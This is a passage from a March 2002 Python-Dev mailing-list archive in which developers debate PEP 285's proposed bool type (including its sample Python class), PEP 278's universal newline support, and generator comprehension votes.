References: <006e01c1c53b$f95f4fc0$52f7a4d8@othello> <20020308153010.GA1276@gerg.ca>
Message-ID: <3C88DEFB.52923B3D@lemburg.com>

Greg Ward wrote:
> 
> On 06 March 2002, Raymond Hettinger said:
> > Before I send generator comprehension portion to Guido for
> > pronouncement, I would like to get all of your votes +1 or -1 on just
> > the part about Generator Comprehensions.
>
> Well, since the proposal is four orthogonal ideas, may I vote multiple
> times?  Here goes...

Nice template :-)
 
>   -1 on new x{map,filter,...} builtins -- feels like too much at once

FWIW, mxTools provides an xmap() implementation and I've never
used it once... so:

-0 for the core
+0 as extension

>   +0.5 on indexed() as a builtin

+1, though I'd prefer an iterator here (over a generator).

>   +1 on generator comprehensions; I favour the brackets
>   -0 on generater parameter passing, -1 on the particular syntax chosen
>   -0 on generater exception passing, -1 on using "throw"

-0 on those; generators don't work for me as concept... too 
much magic under the hood.
 
-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From mal@lemburg.com  Fri Mar  8 15:57:33 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 08 Mar 2002 16:57:33 +0100
Subject: [Python-Dev] Please review PEP 278 - Universal newline support
References: <79B7FB61-2D29-11D6-8825-0030655234CE@oratrix.com> <200203062226.g26MQF017954@pcp742651pcs.reston01.va.comcast.net> <20020308154133.GB1276@gerg.ca>
Message-ID: <3C88DF6D.D92F91AA@lemburg.com>

Greg Ward wrote:
> 
> [Jack]
> > PEP 278 has been quietly sitting there with nothing much happening,
> > after some initial discussion with two or three people.
> >
> > First question: would people please review it, and preferrably also
> > test it (esp. windows and linux are platforms on which I would like
> > to see it tested).
> 
> +1 on handling any type of newline in Python source.  Does this mean
> fixing the crock where the lexer can handle foreign newlines in files,
> but not in strings. 

This should be easily doable as part of the phase 2 implementation
of PEP 263 (source code encoding)... since we're using Unicode
line ending conventions by then.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From skip@pobox.com  Fri Mar  8 15:58:54 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 8 Mar 2002 09:58:54 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <200203081456.g28Euwa03828@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCAEGMOCAA.tim.one@comcast.net>
 <2mlmd3xtn1.fsf@starship.python.net>
 <15496.47489.139827.778887@12-248-41-177.client.attbi.com>
 <200203081456.g28Euwa03828@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15496.57278.670741.172509@beluga.mojam.com>

    Guido> If you do this once a week, posting to python-dev would be
    Guido> appropriate.

Done.  Sunday morning, 7AM, it compares the local info with the displayed
into and send a summary mail to python-dev.  The first run this Sunday will
be thin because the database was last updated just a few minutes ago.  Note
that bugs or patches that are opened and closed quickly won't be seen, since
all I'm doing is scraping the bug/patch browser.  I don't think that's a big
deal though.  Easy fixes aren't what people need to be alerted to.

Skip


From guido@python.org  Fri Mar  8 15:57:22 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 10:57:22 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 10:55:09 EST."
 <06bc01c1c6ba$3b6ab470$0500a8c0@boostconsulting.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <06bc01c1c6ba$3b6ab470$0500a8c0@boostconsulting.com>
Message-ID: <200203081557.g28FvNX04286@pcp742651pcs.reston01.va.comcast.net>

> Do you propose to change the type of "x == y" et. al. from int --> bool?
> Sounds good to me.

Yes.

> In general, I can change my doctests to use assert rather than looking
> for 1 or 0.

Hm, assert is the wrong thing though, since it's optimized away in -O
mode.  You may have to create your own function "check(x)" that does
nothing on true but raises an exception on false, or prints "Yes" or
"No", or something like that.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From just@letterror.com  Fri Mar  8 15:57:02 2002
From: just@letterror.com (Just van Rossum)
Date: Fri,  8 Mar 2002 16:57:02 +0100
Subject: [Python-Dev] Please review PEP 278 - Universal newline support
In-Reply-To: <20020308154133.GB1276@gerg.ca>
Message-ID: <20020308165707-r01010800-78a93818-0920-010c@10.0.0.23>

Greg Ward wrote:

> -1 on using a file mode character that conflicts with existing
> conventions (eg. if "t" really is already used on Windows, find
> something else).

The "t" isn't really needed to begin with, files opened in text mode should
convert any line ending to \n. One of Jack's arguments _for_ "t" is:

    - Compatibility.  Programs which already do their own
      interpretation of \r\n in text files would break.  Programs
      which open binary files as text files on Unix would also break
      (but it could be argued they deserve it :-).

I don't understand the first bit, but my opinion on the latter bit is "they
deserve it". However this problem can also be circumvented by having the feature
*off* by default on those platforms.

This is Jack's second argument for a "t" mode:

    - Interface clarity.  Universal newlines are only supported for
      input files, not for input/output files, as the semantics would
      become muddy.  Would you write Mac newlines if all reads so far
      had encountered Mac newlines?  But what if you then later read a
      Unix newline?

I think you can simply substitute the platform line ending when writing a \n. I
don't know, but I wouldn't worry too much about read/write mode. If you're going
to write to one text file from different platforms you're going to have to
settle for one convention anyway, and that then might as well be \n & binary
mode... An alternative might be a settable lineending attribute.

Just


From aahz@rahul.net  Fri Mar  8 15:59:21 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Fri, 8 Mar 2002 07:59:21 -0800 (PST)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> from "Guido van Rossum" at Mar 08, 2002 10:43:09 AM
Message-ID: <20020308155922.6D52BE8C1@waltz.rahul.net>

Guido van Rossum wrote:
> 
> PEP: 285
> Title: Adding a bool type
> 
>     This PEP proposes the introduction of a new built-in type, bool,
>     with two constants, False and True.  The bool type would be a
>     straightforward subtype (in C) of the int type, and the values
>     False and True would behave like 0 and 1 in most respects (e.g.
>     False==0 and True==1 would be true) except repr() and str().  All
>     built-in operations that conceptually return a Boolean result will
>     be changed to return False or True instead of 0 or 1; for example,
>     comparisons and the "not" operator.

+1000   ;-)

One question: do True/False behave like None, particularly WRT "is"?
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From aahz@rahul.net  Fri Mar  8 16:01:27 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Fri, 8 Mar 2002 08:01:27 -0800 (PST)
Subject: [Python-Dev] Please review PEP 278 - Universal newline support
In-Reply-To: <20020308165707-r01010800-78a93818-0920-010c@10.0.0.23> from "Just van Rossum" at Mar 08, 2002 04:57:02 PM
Message-ID: <20020308160128.471A7E8C1@waltz.rahul.net>

Just van Rossum wrote:
> Greg Ward wrote:
>> 
>> -1 on using a file mode character that conflicts with existing
>> conventions (eg. if "t" really is already used on Windows, find
>> something else).
> 
> The "t" isn't really needed to begin with, files opened in text mode should
> convert any line ending to \n. One of Jack's arguments _for_ "t" is:
> 
>     - Compatibility.  Programs which already do their own
>       interpretation of \r\n in text files would break.  Programs
>       which open binary files as text files on Unix would also break
>       (but it could be argued they deserve it :-).

You misunderstood Greg: he wants to have "t" but use a different
character to represent it.  Maybe "p", for Python text mode.  ;-)
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From just@letterror.com  Fri Mar  8 16:05:05 2002
From: just@letterror.com (Just van Rossum)
Date: Fri,  8 Mar 2002 17:05:05 +0100
Subject: [Python-Dev] Please review PEP 278 - Universal newline support
In-Reply-To: <20020308160128.471A7E8C1@waltz.rahul.net>
Message-ID: <20020308170508-r01010800-5eea2ae8-0920-010c@10.0.0.23>

Aahz Maruch wrote:

> You misunderstood Greg: he wants to have "t" but use a different
> character to represent it.  Maybe "p", for Python text mode.  ;-)

You misunderstood me: *I* tried to argue against *any* additional mode character
;-)

Just


From guido@python.org  Fri Mar  8 16:05:36 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 11:05:36 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 07:59:21 PST."
 <20020308155922.6D52BE8C1@waltz.rahul.net>
References: <20020308155922.6D52BE8C1@waltz.rahul.net>
Message-ID: <200203081605.g28G5a604432@pcp742651pcs.reston01.va.comcast.net>

> > PEP: 285
> > Title: Adding a bool type

[Aahz]
> +1000   ;-)
> 
> One question: do True/False behave like None, particularly WRT "is"?

That depends on what the meaning of "is" is. (*)

Yes, there will be only one True and one False.  That's what the
_create flag on the __new__ method was trying to suggest.

(*) Did anyone else notice that in his Python10 paper, Alex Martelli
waxed philosophically for an entire paragraph (with references
throughout the ages!) on what the meaning of "is" is, without ever
mentioning the US Presidency? :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From David Abrahams" <david.abrahams@rcn.com  Fri Mar  8 16:14:32 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 8 Mar 2002 11:14:32 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>              <06a701c1c6b9$87c2bb20$0500a8c0@boostconsulting.com>  <200203081555.g28FtYL04263@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <06ce01c1c6bc$5795f040$0500a8c0@boostconsulting.com>


> > Do you propose to change the type of "x == y" et. al. from int -->
bool?
>
> Yup.
>
> > Sounds good to me.
>
> I know. :-)
>
> > In general, I can change my doctests to use assert rather than
looking
> > for 1 or 0.
>
> Hm, assert is the wrong thing though, since it's optimized away in -O
> mode.  You may have to create your own function "check(x)" that does
> nothing on true but raises an exception on false, or prints "Yes" or
> "No", or something like that.

Ick. Not that I run my doctests in -0 mode, though.



From mal@lemburg.com  Fri Mar  8 16:31:28 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 08 Mar 2002 17:31:28 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C88E760.ECD0C092@lemburg.com>

Guido van Rossum wrote:
> 
> I'll let this short and sweet PEP speak for itself.
> 
> http://python.sourceforge.net/peps/pep-0285.html
> 
> PEP: 285
> Title: Adding a bool type
> Version: $Revision: 1.1 $
> Last-Modified: $Date: 2002/03/08 15:38:37 $
> Author: guido@python.org (Guido van Rossum)
> Status: Draft
> Type: Standards Track
> Created: 8-Mar-2002
> Python-Version: 2.3
> Post-History: 8-Mar-2002 (python-dev)
> 
> Abstract
> 
>     This PEP proposes the introduction of a new built-in type, bool,
>     with two constants, False and True.  The bool type would be a
>     straightforward subtype (in C) of the int type, and the values
>     False and True would behave like 0 and 1 in most respects (e.g.
>     False==0 and True==1 would be true) except repr() and str().  All
>     built-in operations that conceptually return a Boolean result will
>     be changed to return False or True instead of 0 or 1; for example,
>     comparisons and the "not" operator.
> 
> Rationale
> 
>     Most languages eventually grow a Boolean type; even C99 has one.
>     It's useful to be able to tell from a function result that the
>     outcome has Boolean semantics.

+1.
 
> Specification
> 
>     The following Python code specifies most of the properties of the
>     new type:
> 
>         class bool(int):
> 
>             def __new__(cls, val=0, _create=0):
>                 if _create:
>                     # This is nor part of the spec,
>                     # just a hack to bootstrap False and True
>                     return int.__new__(cls, not not val)
>                 elif val:
>                     return True
>                 else:
>                     return False
>
>             def __repr__(self):
>                 if self:
>                     return "True"
>                 else:
>                     return "False"
> 
>             __str__ = __repr__

I don't like this: it will break too much code since there
are already two singletons Py_True and Py_False available
in Python and these return 1 / 0 resp.
 
>             def __and__(self, other):
>                 if isinstance(other, bool):
>                     return bool(int(self) & int(other))
>                 else:
>                     return NotImplemented
> 
>             __rand__ = __and__
> 
>             def __or__(self, other):
>                 if isinstance(other, bool):
>                     return bool(int(self) | int(other))
>                 else:
>                     return NotImplemented
> 
>             __ror__ = __or__
> 
>             def __xor__(self, other):
>                 if isinstance(other, bool):
>                     return bool(int(self) ^ int(other))
>                 else:
>                     return NotImplemented
> 
>             __rxor__ = __xor__
> 
>         False = bool(0, _create=1)
>         True = bool(1, _create=1)

Please adjust Py_True and Py_False (at C level) to be 
identical to these constants.
 
> Issues
> 
>     Because the repr() or str() of a bool value is different from an
>     int value, some code (e.g. doctest-based unit tests) may fail.
>     How much of a backwards compatibility problem this will be, I
>     don't know.  If we find this is a real problem, we could add a
>     command-line option to make False and True aliases for 0 and 1 and
>     bool an alias for int.

Please, no ! 

Ideal would be to make bool a subtype of int and True and
False two singletons created from 1 and 0 having the bool
type: that's simple and backwards compatible.

One idea for a possible addition:

Add boolean support to the array module so that it becomes
possible to create arrays of bits.

> Copyright
> 
>     This document has been placed in the public domain.
> 
> Local Variables:
> mode: indented-text
> indent-tabs-mode: nil
> fill-column: 70
> End:
> 
> --Guido van Rossum (home page: http://www.python.org/~guido/)
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From skip@pobox.com  Fri Mar  8 16:39:18 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 8 Mar 2002 10:39:18 -0600
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203081605.g28G5a604432@pcp742651pcs.reston01.va.comcast.net>
References: <20020308155922.6D52BE8C1@waltz.rahul.net>
 <200203081605.g28G5a604432@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15496.59702.223240.204994@beluga.mojam.com>

    >> One question: do True/False behave like None, particularly WRT "is"?

    Guido> That depends on what the meaning of "is" is. (*)

    Guido> Yes, there will be only one True and one False.  That's what the
    Guido> _create flag on the __new__ method was trying to suggest.

Hmmm...  A boolean type can only take on two values.  I presume you will
expose True and False through builtins.  Why would you need a __new__ method
or any notiong of "creation"?

Skip


From guido@python.org  Fri Mar  8 16:50:25 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 11:50:25 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 17:31:28 +0100."
 <3C88E760.ECD0C092@lemburg.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C88E760.ECD0C092@lemburg.com>
Message-ID: <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net>

> >             def __repr__(self):
> >                 if self:
> >                     return "True"
> >                 else:
> >                     return "False"
> > 
> >             __str__ = __repr__
> 
> I don't like this: it will break too much code since there
> are already two singletons Py_True and Py_False available
> in Python and these return 1 / 0 resp.

But this is the whole point of introducing a new type rather than
simply defining True as 1 and False as 0!

> >         False = bool(0, _create=1)
> >         True = bool(1, _create=1)
> 
> Please adjust Py_True and Py_False (at C level) to be 
> identical to these constants.

Yes, that was the intention.

> > Issues
> > 
> >     Because the repr() or str() of a bool value is different from an
> >     int value, some code (e.g. doctest-based unit tests) may fail.
> >     How much of a backwards compatibility problem this will be, I
> >     don't know.  If we find this is a real problem, we could add a
> >     command-line option to make False and True aliases for 0 and 1 and
> >     bool an alias for int.
> 
> Please, no ! 

Agreed -- I just mentioned it as a possibility if we find too much
problems due to the new repr() and str().

> Ideal would be to make bool a subtype of int and True and
> False two singletons created from 1 and 0 having the bool
> type: that's simple and backwards compatible.

That's what I am proposing.

> One idea for a possible addition:
> 
> Add boolean support to the array module so that it becomes
> possible to create arrays of bits.

That's an entirely separate issue, and would require major hackery to
the array module (if you want the bits to be tightly packed, which I
assume you do).  Let's not mix it up with this.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar  8 16:58:11 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 11:58:11 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 10:39:18 CST."
 <15496.59702.223240.204994@beluga.mojam.com>
References: <20020308155922.6D52BE8C1@waltz.rahul.net> <200203081605.g28G5a604432@pcp742651pcs.reston01.va.comcast.net>
 <15496.59702.223240.204994@beluga.mojam.com>
Message-ID: <200203081658.g28GwBP04715@pcp742651pcs.reston01.va.comcast.net>

>     >> One question: do True/False behave like None, particularly WRT "is"?
> 
>     Guido> That depends on what the meaning of "is" is. (*)
> 
>     Guido> Yes, there will be only one True and one False.  That's what the
>     Guido> _create flag on the __new__ method was trying to suggest.
> 
> Hmmm...  A boolean type can only take on two values.  I presume you
> will expose True and False through builtins.

Yes.

> Why would you need a __new__ method or any notiong of "creation"?

__new__ must exist in order to support writing

    bool(some_expression)

__new__ returns a reference to the existing False or True object,
except when it is called in the special internal-only mode that is
needed to bootstrap False and True.  The __new__ code should really be
just this:

            def __new__(cls, val=0, _create=0):
                if val:
                    return True
                else:
                    return False

except the Python version must be able to create the instances True
and False.  (Hm, there's another way to create them:

    False = int.__new__(bool, 0)
    True = int.__new__(bool, 1)

I'll change the PEP to use this.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Fri Mar  8 17:20:13 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 08 Mar 2002 18:20:13 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C88F2CD.FEB05C72@lemburg.com>

Guido van Rossum wrote:
> 
> > >             def __repr__(self):
> > >                 if self:
> > >                     return "True"
> > >                 else:
> > >                     return "False"
> > >
> > >             __str__ = __repr__
> >
> > I don't like this: it will break too much code since there
> > are already two singletons Py_True and Py_False available
> > in Python and these return 1 / 0 resp.
> 
> But this is the whole point of introducing a new type rather than
> simply defining True as 1 and False as 0!

That's not how I read it: making bool a type would allow type
checks to be done and this is a *much* more important feature
to have than some different str(obj) output.

There are many situations when doing RPC or interfacing with
other systems such as databases where a type check for
booleans is needed.

Currently, this can be done by simply using the already
existing Py_True and Py_False which are exposed at
Python level through (1==1) and (1==0) and we should not
break this scheme. '%s' % True must continue to
deliver '0' otherwise you'll end up breaking interfaces
which rely on this (such as database modules).

There's also another issue here: "True" and "False"
are English words, "0" and "1" are language neutral.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From paul@pfdubois.com  Fri Mar  8 17:26:21 2002
From: paul@pfdubois.com (Paul F Dubois)
Date: Fri, 8 Mar 2002 09:26:21 -0800
Subject: [Python-Dev] Bool type and arrays
In-Reply-To: <E16jNkC-0005x5-00@mail.python.org>
Message-ID: <000001c1c6c6$5db56dc0$1001a8c0@NICKLEBY>

Guido said not to "mix up" the question of bit arrays with the bool
proposal, but really, they *are* mixed up. The minute there is a bool
type in Python people will be able to make Numeric arrays (not to
mention Python arrays) with elements of type "bool". They will then be
annoyed to learn that they are making arrays of objects and the result
is a big array, not a small array, and that they would have been better
off with our byte integer arrays. Depending on the implementation,
mixing in bool values in a list of integers might persuade Numeric's
array constructor to make them all objects.

In short, they are mixed up in the sense that this proposed intellectual
nicety will cause us Nummies a lot of grief. Not that you aren't allowed
to give us grief, like you did with the "true division", but I wanted
people to know they would be inflicting pain.

BTW: There is quite a bit of pent-up demand in the Numeric community for
bit arrays. However, nobody knows how to do it since the internal Numpy
structures use a byte as the atomic unit of addressing. 






From guido@python.org  Fri Mar  8 17:33:16 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 12:33:16 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 18:20:13 +0100."
 <3C88F2CD.FEB05C72@lemburg.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net>
 <3C88F2CD.FEB05C72@lemburg.com>
Message-ID: <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net>

> > But this is the whole point of introducing a new type rather than
> > simply defining True as 1 and False as 0!
> 
> That's not how I read it: making bool a type would allow type
> checks to be done and this is a *much* more important feature
> to have than some different str(obj) output.

Depending on your POV, yes.

> There are many situations when doing RPC or interfacing with
> other systems such as databases where a type check for
> booleans is needed.

Agreed, this is a nice additional advantage.

> Currently, this can be done by simply using the already
> existing Py_True and Py_False which are exposed at
> Python level through (1==1) and (1==0) and we should not
> break this scheme. '%s' % True must continue to
> deliver '0' otherwise you'll end up breaking interfaces
> which rely on this (such as database modules).

That's a good question.  Don't databases have a separate Boolean type?
Is there really code out that relies on this?  The code would have to
assume that the boolean argument is already normalized to being
exactly 0 or 1; a generalized Python truth value wouldn't work.

I can provide a real implementation next week, and we should have
plenty of time to find out how much it breaks.

> There's also another issue here: "True" and "False"
> are English words, "0" and "1" are language neutral.

Methinks you are getting desperate for arguments here. :-)  Or should
we also remove "if" from the language?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@rahul.net  Fri Mar  8 17:34:49 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Fri, 8 Mar 2002 09:34:49 -0800 (PST)
Subject: [Python-Dev] Bool type and arrays
In-Reply-To: <000001c1c6c6$5db56dc0$1001a8c0@NICKLEBY> from "Paul F Dubois" at Mar 08, 2002 09:26:21 AM
Message-ID: <20020308173450.5CE9EE8C1@waltz.rahul.net>

Paul F Dubois wrote:
> 
> Guido said not to "mix up" the question of bit arrays with the bool
> proposal, but really, they *are* mixed up. The minute there is a bool
> type in Python people will be able to make Numeric arrays (not to
> mention Python arrays) with elements of type "bool". They will then be
> annoyed to learn that they are making arrays of objects and the result
> is a big array, not a small array, and that they would have been better
> off with our byte integer arrays. 

There's nothing wrong with submitting a PEP that's dependent on another
PEP.  It's just a Bad Idea to stick too much into a single PEP.
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From skip@pobox.com  Fri Mar  8 17:47:05 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 8 Mar 2002 11:47:05 -0600
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C88E760.ECD0C092@lemburg.com>
 <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net>
 <3C88F2CD.FEB05C72@lemburg.com>
 <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15496.63769.308528.17569@beluga.mojam.com>

    Guido> Don't databases have a separate Boolean type?

So do, some don't.  I'm pretty sure that MySQL (the only one I have any
experience with) doesn't.

Skip


From martin@v.loewis.de  Fri Mar  8 17:46:13 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 08 Mar 2002 18:46:13 +0100
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <15496.57278.670741.172509@beluga.mojam.com>
References: <LNBBLJKPBEHFEDALKOLCAEGMOCAA.tim.one@comcast.net>
 <2mlmd3xtn1.fsf@starship.python.net>
 <15496.47489.139827.778887@12-248-41-177.client.attbi.com>
 <200203081456.g28Euwa03828@pcp742651pcs.reston01.va.comcast.net>
 <15496.57278.670741.172509@beluga.mojam.com>
Message-ID: <m38z93q7fe.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> Done.  Sunday morning, 7AM, it compares the local info with the displayed
> into and send a summary mail to python-dev.  The first run this Sunday will
> be thin because the database was last updated just a few minutes ago.  Note
> that bugs or patches that are opened and closed quickly won't be seen, since
> all I'm doing is scraping the bug/patch browser.  I don't think that's a big
> deal though.  Easy fixes aren't what people need to be alerted to.

If feasible, you might extract what SF gives as the total number of
bugs/patches, and reporting the number of bugs that you did not
account for.

Regards,
Martin



From wurmy@earthlink.net  Fri Mar  8 18:12:25 2002
From: wurmy@earthlink.net (Hans Nowak)
Date: Fri, 8 Mar 2002 13:12:25 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
Message-ID: <3C88B8B9.23634.14D1588@localhost>

This may be a minor issue, but this proposal will break code like

  days_feb = 28 + isleapyear(year)

assuming that booleans cannot be added to ints. :-)

isleapyear can be defined like this:

  return year % 4 == 0 and (year % 100 != 0 or year % 400 == 0)

like it is in calendar.py. In the new situation it would return a boolean. Now 
I realize that code using isleapyear this way is easily fixed (especially if 
we would be able say int(True) or int(False) to get the numerical value 
again), but my point is, it takes away a (IMHO) nice side effect of using 
these values as numbers.

I'm not sure if there's a lot of code out there that actually uses these 
numerical values. I occasionally use it, though... I guess that's what I get 
for bad programming practices. :-)

--Hans Nowak (vaporeon@wanadoo.nl)
http://www.awaretek.com/nowak/


From wurmy@earthlink.net  Fri Mar  8 18:15:58 2002
From: wurmy@earthlink.net (Hans Nowak)
Date: Fri, 8 Mar 2002 13:15:58 -0500
Subject: [Python-Dev] Re: PEP 285 again -- correction?
Message-ID: <3C88B98E.4248.1505716@localhost>

Hum, as usual, I wasn't thinking...

if bool is a subclass of int, then we should still be able to add booleans to 
ints, right? In that case, that code would not break.

I was thinking of a strict Pascal-ish boolean. (You can imagine I was worried. 
;-)

<slaps forehead>

I'll crawl back in my shell now, where I belong... :-(

--Hans Nowak (vaporeon@wanadoo.nl)
http://www.awaretek.com/nowak/


From akuchlin@mems-exchange.org  Fri Mar  8 18:16:28 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 8 Mar 2002 13:16:28 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <3C88B8B9.23634.14D1588@localhost>
References: <3C88B8B9.23634.14D1588@localhost>
Message-ID: <20020308181627.GA10485@ute.mems-exchange.org>

On Fri, Mar 08, 2002 at 01:12:25PM -0500, Hans Nowak wrote:
>I'm not sure if there's a lot of code out there that actually uses these 
>numerical values. I occasionally use it, though... I guess that's what I get 
>for bad programming practices. :-)

Hmm... I wonder if this related idiom is common?

print ["false", "true"][boolvalue]

--amk


From fdrake@acm.org  Fri Mar  8 18:19:35 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Fri, 8 Mar 2002 13:19:35 -0500
Subject: [Python-Dev] Re: PEP 285 again -- correction?
In-Reply-To: <3C88B98E.4248.1505716@localhost>
References: <3C88B98E.4248.1505716@localhost>
Message-ID: <15497.183.88712.256835@grendel.zope.com>

Hans Nowak writes:
 > I was thinking of a strict Pascal-ish boolean. (You can imagine I
 > was worried.  ;-)

Actually, I'd prefer a Pascal-ish boolean.  Supporting math like an
int smells like we're still just using 0 and 1.  Of course, a
Pascal-ish boolean would have more compatibility problems, but... I
have kids; I'm used to the screaming.  ;-)


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From skip@pobox.com  Fri Mar  8 18:24:36 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 8 Mar 2002 12:24:36 -0600
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <15496.63769.308528.17569@beluga.mojam.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C88E760.ECD0C092@lemburg.com>
 <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net>
 <3C88F2CD.FEB05C72@lemburg.com>
 <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net>
 <15496.63769.308528.17569@beluga.mojam.com>
Message-ID: <15497.484.509670.898222@beluga.mojam.com>

    Skip> So do, some don't....

Try "Some do..."

Jeez, I am having an awful bout of typo-itis today!  Must be that 60 degree
weather we're blessed with in Chicago.  Time to strap on the shoes and go
for a run...

S


From guido@python.org  Fri Mar  8 18:26:14 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 13:26:14 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 13:12:25 EST."
 <3C88B8B9.23634.14D1588@localhost>
References: <3C88B8B9.23634.14D1588@localhost>
Message-ID: <200203081826.g28IQEx05349@pcp742651pcs.reston01.va.comcast.net>

> This may be a minor issue, but this proposal will break code like
> 
>   days_feb = 28 + isleapyear(year)
> 
> assuming that booleans cannot be added to ints. :-)

Re-read the PEP.  bool subclasses int.  28 + True equals 29.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Fri Mar  8 18:28:05 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 8 Mar 2002 12:28:05 -0600
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <3C88B8B9.23634.14D1588@localhost>
References: <3C88B8B9.23634.14D1588@localhost>
Message-ID: <15497.693.681383.958048@beluga.mojam.com>

    Hans> This may be a minor issue, but this proposal will break code like

    Hans>   days_feb = 28 + isleapyear(year)

    Hans> assuming that booleans cannot be added to ints. :-)

I don't think this will be a problem.  Guido's proposal is for bool to be a
